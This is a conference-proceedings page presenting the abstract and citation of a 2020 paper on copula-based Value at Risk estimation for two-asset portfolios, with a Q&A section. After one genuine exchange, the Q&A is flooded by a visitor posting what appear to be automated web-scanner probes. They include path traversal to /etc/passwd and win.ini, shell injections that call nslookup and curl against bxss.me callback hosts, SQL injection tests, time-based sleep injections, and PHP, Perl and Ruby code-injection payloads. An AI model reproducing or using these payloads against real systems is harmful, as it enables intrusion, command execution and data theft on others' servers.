RSUSSH 2020
IN20-006 A determination formula on the copula-based estimation of Value at Risk for the portfolio problem
Presenter: Andres MauricioMolina Barreto
Chuo University, Japan
Abstract
Value at Risk (VaR) is one of the widely employed risk measures in quantitative risk management. Because of its readiness of use, both theoretical and practical researches have been extensively made so far. Here, in this paper, we are concerned with the estimation of VaR for the portfolio problem; the portfolio consists of two random variables. Our innovative point is that we do not necessarily assume the independence between random variables but the possibility of nonlinear relation. To analyze the nonlinear dependence, a copula function method is customarily used; as is well-known, copula provides a flexible tool for treating the possible nonlinear relation. We derive the determination formula of VaR analytically in the case of Archimedean copulas, which may be served as elementary machinery of computation. Empirical studies are also implemented for the problem of estimating VaR in stock indexes. The results show that our obtained formula works rather well.
Keywords: Value ar Risk (VaR); Portfolio problem; Copulas; Archimedean copulas; Determination formula
Citation format:
Molina Barreto, A., & Ishimura, N.. (2020). A determination formula on the copula-based estimation of Value at Risk for the portfolio problem. Proceeding in RSU International Research Conference, May 1, 2020. Pathum Thani, Thailand.QUESTIONS & ANSWERS
สุมามาลย์ ปานคำ (Participant)
Can we apply for your obtained formula works in another field?
Andres MauricioMolina Barreto (Presenter)
Thank you for your question.
Since the formula is concerned with the quantitative risk management, it may be applied to other fields of sciences.
Also the formula can beextended to multi-dimensional cases, on which we are now working.
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
14cTGXs4gO
iQhWKSHW (Visitor)
response.write(9684911*9219272)
iQhWKSHW (Visitor)
'+response.write(9684911*9219272)+'
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
"+response.write(9684911*9219272)+"
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
/../../../../../../../../../../windows/system32/BITSADMIN.exe
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
echo nhskvr$()\ ujpjwi\nz^xyu||a #' &echo nhskvr$()\ ujpjwi\nz^xyu||a #|" &echo nhskvr$()\ ujpjwi\nz^xyu||a #
iQhWKSHW (Visitor)
eVa1RGNM
iQhWKSHW (Visitor)
&echo ysbaxe$()\ koygbs\nz^xyu||a #' &echo ysbaxe$()\ koygbs\nz^xyu||a #|" &echo ysbaxe$()\ koygbs\nz^xyu||a #
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555&echo bsjkbq$()\ syrqll\nz^xyu||a #' &echo bsjkbq$()\ syrqll\nz^xyu||a #|" &echo bsjkbq$()\ syrqll\nz^xyu||a #
iQhWKSHW (Visitor)
../../../../../../../../../../../../../../etc/passwd
iQhWKSHW (Visitor)
|echo dgvfiq$()\ jltikk\nz^xyu||a #' |echo dgvfiq$()\ jltikk\nz^xyu||a #|" |echo dgvfiq$()\ jltikk\nz^xyu||a #
iQhWKSHW (Visitor)
../../../../../../../../../../../../../../windows/win.ini
iQhWKSHW (Visitor)
555|echo lfbxjf$()\ mzxkvv\nz^xyu||a #' |echo lfbxjf$()\ mzxkvv\nz^xyu||a #|" |echo lfbxjf$()\ mzxkvv\nz^xyu||a #
iQhWKSHW (Visitor)
file:///etc/passwd
iQhWKSHW (Visitor)
(nslookup -q=cname hitzdkahcaods7e9f2.bxss.me||curl hitzdkahcaods7e9f2.bxss.me))
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
$(nslookup -q=cname hitsysawnznjb24c83.bxss.me||curl hitsysawnznjb24c83.bxss.me)
iQhWKSHW (Visitor)
../555
iQhWKSHW (Visitor)
&nslookup -q=cname hitbeuvzizxanc94a0.bxss.me&'\"`0&nslookup -q=cname hitbeuvzizxanc94a0.bxss.me&`'
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
&(nslookup -q=cname hitqalweuevwja53f5.bxss.me||curl hitqalweuevwja53f5.bxss.me)&'\"`0&(nslookup -q=cname hitqalweuevwja53f5.bxss.me||curl hitqalweuevwja53f5.bxss.me)&`'
iQhWKSHW (Visitor)
|(nslookup -q=cname hitictxilaxix10918.bxss.me||curl hitictxilaxix10918.bxss.me)
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
`(nslookup -q=cname hitvyypgngrll390a1.bxss.me||curl hitvyypgngrll390a1.bxss.me)`
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
;(nslookup -q=cname hitmfreyffdbj5cc3b.bxss.me||curl hitmfreyffdbj5cc3b.bxss.me)|(nslookup -q=cname hitmfreyffdbj5cc3b.bxss.me||curl hitmfreyffdbj5cc3b.bxss.me)&(nslookup -q=cname hitmfreyffdbj5cc3b.bxss.me||curl hitmfreyffdbj5cc3b.bxss.me)
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
12345'"\'\");|]*{
<>''????
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
${9999302+10000155}
iQhWKSHW (Visitor)
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555&n932923=v910943
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
)
iQhWKSHW (Visitor)
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
iQhWKSHW (Visitor)
!(()&&!|*|*|
iQhWKSHW (Visitor)
Http://bxss.me/t/fit.txt
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
^(#$!@#$)(()))******
iQhWKSHW (Visitor)
'.gethostbyname(lc('hitpp'.'wjombhphc9b0b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(67).chr(99).chr(86).'
iQhWKSHW (Visitor)
http://bxss.me/t/fit.txt?.jpg
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
/etc/shells
iQhWKSHW (Visitor)
".gethostbyname(lc("hituy"."fvicqmts4abbe.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(89).chr(116).chr(68)."
iQhWKSHW (Visitor)
'"()
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
iQhWKSHW (Visitor)
c:/windows/win.ini
iQhWKSHW (Visitor)
555'&&sleep(27*1000)*bzniez&&'
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
';print(md5(31337));$a='
iQhWKSHW (Visitor)
bxss.me
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555"&&sleep(27*1000)*pysfaq&&"
iQhWKSHW (Visitor)
-1 OR 2+293-293-1=0+0+0+1 --
iQhWKSHW (Visitor)
HttP://bxss.me/t/xss.html?%00
iQhWKSHW (Visitor)
";print(md5(31337));$a="
iQhWKSHW (Visitor)
"+"A".concat(70-3).concat(22*4).concat(118).concat(81).concat(108).concat(78)+(require"socket"
Socket.gethostbyname("hitjb"+"ljbvzuwh1ed06.bxss.me.")[3].to_s)+"
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555'||sleep(27*1000)*ciqojn||'
iQhWKSHW (Visitor)
-1 OR 2+728-728-1=0+0+0+1
iQhWKSHW (Visitor)
${@print(md5(31337))}
iQhWKSHW (Visitor)
bxss.me/t/xss.html?%00
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555"||sleep(27*1000)*vkzfbc||"
iQhWKSHW (Visitor)
-1' OR 2+341-341-1=0+0+0+1 --
iQhWKSHW (Visitor)
${@print(md5(31337))}\
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
'+'A'.concat(70-3).concat(22*4).concat(121).concat(76).concat(120).concat(74)+(require'socket'
Socket.gethostbyname('hitba'+'zhrflbak04287.bxss.me.')[3].to_s)+'
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
-1' OR 2+655-655-1=0+0+0+1 or 'mFYU0yhf'='
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
'.print(md5(31337)).'
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
-1" OR 2+843-843-1=0+0+0+1 --
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
1292
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
1292
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
1292/.
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
'"
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)
xfs.bxss.me
iQhWKSHW (Visitor)
555
iQhWKSHW (Visitor)